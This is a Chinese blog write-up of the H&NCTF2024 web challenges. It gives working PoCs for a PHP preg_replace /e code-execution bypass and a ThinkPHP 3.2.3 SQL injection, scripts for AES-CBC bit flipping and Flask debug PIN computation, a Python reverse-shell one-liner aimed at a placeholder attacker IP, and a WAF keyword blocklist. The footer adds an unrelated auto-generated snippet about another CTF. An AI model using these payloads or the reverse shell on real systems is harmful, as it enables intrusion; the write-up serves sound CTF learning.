H&NCTF2024(Web方向)

1. Please_RCE_Me

 <?php
if($_GET['moran'] === 'flag'){
    highlight_file(__FILE__);
    if(isset($_POST['task'])&&isset($_POST['flag'])){
        $str1 = $_POST['task'];
        $str2 = $_POST['flag'];
        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
            die('hacker!');
        }else{
            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
        }
    }
}else{
    echo "moran want a flag.</br>(?moran=flag)";
} 

preg_replace 函数使用了e修饰符,会导致代码执行,同时使用了i修饰符,即忽略大小写。可以使用大小写绕过preg_match匹配部分,POC如下:

GET /?moran=flag&1=/flag
POST task=show_source($_GET[1])&flag=Please_give_me_flag

在这里插入图片描述

2. ez_tp

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        //$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        header("Content-type:text/html;charset=utf-8");
        echo '装起来了';
    }
    public function h_n(){
        function waf() {
            if (!function_exists('getallheaders')) {
                function getallheaders() {
                    foreach ($_SERVER as $name => $value) {
                        if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
                    }
                    return $headers;
                }
            }
            $get = $_GET;
            $post = $_POST;
            $cookie = $_COOKIE;
            $header = getallheaders();
            $files = $_FILES;
            $ip = $_SERVER["REMOTE_ADDR"];
            $method = $_SERVER['REQUEST_METHOD'];
            $filepath = $_SERVER["SCRIPT_NAME"];
            //rewirte shell which uploaded by others, you can do more
            foreach ($_FILES as $key => $value) {
                $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
                file_put_contents($_FILES[$key]['tmp_name'], "virink");
            }
            unset($header['Accept']); //fix a bug
            $input = array(
                "Get" => $get,
                "Post" => $post,
                "Cookie" => $cookie,
                "File" => $files,
                "Header" => $header
            );
            //deal with
            $pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
            $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
            $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
            $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
            $vpattern = explode("|", $pattern);
            $bool = false;
            foreach ($input as $k => $v) {
                foreach ($vpattern as $value) {
                    foreach ($v as $kk => $vv) {
                        if (preg_match("/$value/i", $vv)) {
                            $bool = true;
                            break;
                        }
                    }
                    if ($bool) break;
                }
                if ($bool) break;
            }
            return $bool;
        }

        $name = I('GET.name');
        $User = M("user");

        if (waf()){
            $this->index();
        }else{
            $ret = $User->field('username,age')->where(array('username'=>$name))->select();
            echo var_export($ret, true);
        }

    }
}

涉及thinkphp3.2.3_SQL注入漏洞,参考:https://y4er.com/posts/thinkphp3-vuln,POC如下:

/index.php/Home/Index/h_n?name[0]=exp&name[1]==1 or 1 union select 1,flag from flag

在这里插入图片描述

3. flipPin

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

app = Flask(__name__)

filename_blacklist = {
    'self',
    'cgroup',
    'mountinfo',
    'env',
    'flag'
}

@app.route("/")
def index():
    session = request.cookies.get('session')
    if session is None:
        res = Response(
            "welcome to the FlipPIN server try request /hint to get the hint")
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    else:
        return 'have a fun'

@app.route("/hint")
def hint():
    res = Response(open(__file__).read(), mimetype='text/plain')
    return res


@app.route("/read")
def file():
    session = request.cookies.get('session')
    if session is None:
        res = Response("you are not logged in")
        res.set_cookie('session', encrypt(default_session))
        return res
    else:
        plain_session = decrypt(session)
        if plain_session is None:
            return 'don\'t hack me'

        session_data = json.loads(plain_session)

        if session_data['admin'] :
            filename = request.args.get('filename')

            if any(blacklist_str in filename for blacklist_str in filename_blacklist):
                abort(403, description='Access to this file is forbidden.')

            try:
                with open(filename, 'r') as f:
                    return f.read()
            except FileNotFoundError:
                abort(404, description='File not found.')
            except Exception as e:
                abort(500, description=f'An error occurred: {str(e)}')
        else:
            return 'You are not an administrator'


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9091, debug=True)

考点是AES-CBC字节翻转、flask pin码计算,AES-CBC字节翻转脚本如下:

# -*- coding:utf8 -*-
import base64
import urllib.parse
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode

"""
    1. 分组 16个字节一组
"""

# {"admin": 0, "us
# ername": "user1"
# }

"""
    2. 获取原始密文
"""
ciphertext = 'wv7sRdpuU1HMAgqUWAOjoZuLsH9jUDnCaVtBxN8fQH6zyxmGqarbH7R/cuSUVx1xnKKDoUjIeo1GQwkg39DZ6Q=='
cipher = base64.b64decode(urllib.parse.unquote(ciphertext))
array_cipher = bytearray(cipher)

"""
    3, 字节翻转
"""
offset = 10
array_cipher[offset] =  array_cipher[offset]^ ord('0') ^ ord('1')
print('newCipher:',urllib.parse.quote(base64.b64encode(array_cipher)))

替换伪造的Cookie信息,即可利用文件读取漏洞来获取pin码计算六要素,pin计算脚本如下:

import hashlib
from itertools import chain
probably_public_bits = [
    'ctfUser', # /etc/passwd
    'flask.app', # 模式名,默认
    'Flask', # 应用名,默认
    '/usr/lib/python3.9/site-packages/flask/app.py' # 应用目录
]

private_bits = [
    '116853226196301', # /read?filename=sys/class/net/eth0/address
    'f67849d6-0b58-4a19-8e76-938d747b1e66dfb4ad54804b2fc5341f6b92e5c00dd69908f32e77c3be12ed4c26aa6783f210'# get_machine_id(), /etc/machine-id  /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

计算完pin码之后拼接访问:/console,键入pin码即可执行python代码。后续利用python反弹shell,在env里面找到flag。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述

4. GPTS

参考:https://xz.aliyun.com/t/14283,前台存在Pickle反序列漏洞。

  • 11
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
\[NCTF2019\]SQLi是一个CTF比赛中的题目,涉及到SQL注入。根据引用\[1\]和引用\[2\]的内容,可以得知在该题目中,通过构造特定的SQL语句,可以绕过过滤,获取到管理员的密码,从而获得flag。具体的解题思路是通过不断尝试不同的字符,构造SQL语句进行盲注,判断是否成功绕过过滤。引用\[3\]提供了一个Python脚本的示例,可以用来自动化进行尝试。该脚本通过构造不同长度的payload,逐位尝试密码的每一位字符,直到获取到完整的密码。 #### 引用[.reference_title] - *1* [[NCTF2019]SQLi --BUUCTF --详解](https://blog.csdn.net/l2872253606/article/details/125265138)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[NCTF2019]SQLi(Regexp注入)](https://blog.csdn.net/weixin_45669205/article/details/116137824)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[NCTF2019]SQLi](https://blog.csdn.net/shinygod/article/details/124100832)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值